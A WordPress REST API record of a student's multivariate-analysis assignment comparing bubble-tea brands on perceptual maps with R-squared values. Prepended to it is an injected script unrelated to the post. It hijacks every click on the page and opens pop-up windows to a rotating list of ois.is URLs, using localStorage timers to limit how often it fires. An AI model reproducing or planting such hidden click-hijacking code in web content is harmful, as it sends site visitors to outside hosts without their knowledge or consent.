<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1498,"date":"2024-01-02T10:00:33","date_gmt":"2024-01-02T02:00:33","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1498"},"modified":"2024-01-02T23:52:56","modified_gmt":"2024-01-02T15:52:56","slug":"week15-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1498","title":{"rendered":"WEEK15 \u591a\u8b8a\u91cf\u5206\u6790"},"content":{"rendered":"<h4><span style=\"color: #224466;\">\u6839\u64da\u6240\u9644\u7684\u8cc7\u6599\u5eab\u8207 R\u64cd\u4f5c\u4e00\u904d\uff0c\u9078\u64c7 3\u500b\u756b\u5716\u51fa\u4f86\u6bd4\u8f03\u7279\u5225\u7684\u5c6c\u6027\u88fd\u4f5c\u77e5\u89ba\u5b9a\u4f4d\u5716\uff0c\u4e26\u7c21\u55ae\u8aaa\u660e\u3002<\/span><\/h4>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #224466;\"><strong>\u3010\u8336\u8449\u54c1\u8cea\u512a\u826f\u3011<\/strong><\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1512\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u8336\u8449-300x268.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u8336\u8449-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u8336\u8449-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u8336\u8449-230x230.png 230w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>\u2192\u53ef\u4e0d\u53ef\u3001Comebuy\u7684\u8336\u8449\u54c1\u8cea\u8f03\u512a\uff0c\u6e05\u5fc3\u798f\u5168\u7684\u8336\u8449\u54c1\u8cea\u76f8\u5c0d\u8f03\u5dee\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1517\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u8336-300x185.png\" alt=\"\" width=\"500\" height=\"185\" \/><\/p>\n<p>\u2192R\u5e73\u65b9=0.7593<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #224466;\"><strong>\u3010\u54c1\u724c\u5f62\u8c61\u4f73\u3011<\/strong><\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1513\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u54c1\u724c-300x274.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u54c1\u724c-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u54c1\u724c-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u54c1\u724c-230x230.png 230w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>\u2192Comebuy\u3001\u8ff7\u5ba2\u590f\u7684\u54c1\u724c\u5f62\u8c61\u8f03\u4f73\uff0c50\u5d50\u7684\u54c1\u724c\u5f62\u8c61\u76f8\u5c0d\u8f03\u5dee\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1516\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u54c1-300x178.png\" alt=\"\" width=\"500\" height=\"178\" \/><\/p>\n<p>\u2192R\u5e73\u65b9=0.7021<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #224466;\"><strong>\u3010\u53e3\u611f\u914d\u6599\u597d\u3011<\/strong><\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1511\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u53e3\u611f-1-300x271.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u53e3\u611f-1-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u53e3\u611f-1-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u53e3\u611f-1-230x230.png 230w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>\u219250\u5d50\u3001\u6e05\u5fc3\u798f\u5168\u3001Coco\u90fd\u53ef\u7684\u53e3\u611f\u914d\u6599\u8f03\u597d\uff0cComebuy\u7684\u53e3\u611f\u914d\u6599\u76f8\u5c0d\u8f03\u4e0d\u597d\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1518\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/\u53e3-300x188.png\" alt=\"\" width=\"500\" height=\"188\" \/><\/p>\n<p>\u2192R\u5e73\u65b9=0.657<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6839\u64da\u6240\u9644\u7684\u8cc7\u6599\u5eab\u8207 R\u64cd\u4f5c\u4e00\u904d\uff0c\u9078\u64c7 3\u500b\u756b\u5716\u51fa\u4f86\u6bd4\u8f03\u7279\u5225\u7684\u5c6c\u6027\u88fd\u4f5c\u77e5\u89ba\u5b9a\u4f4d\u5716\uff0c<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1498"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1498"}],"version-history":[{"count":9,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1498\/revisions"}],"predecessor-version":[{"id":1522,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1498\/revisions\/1522"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1498"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}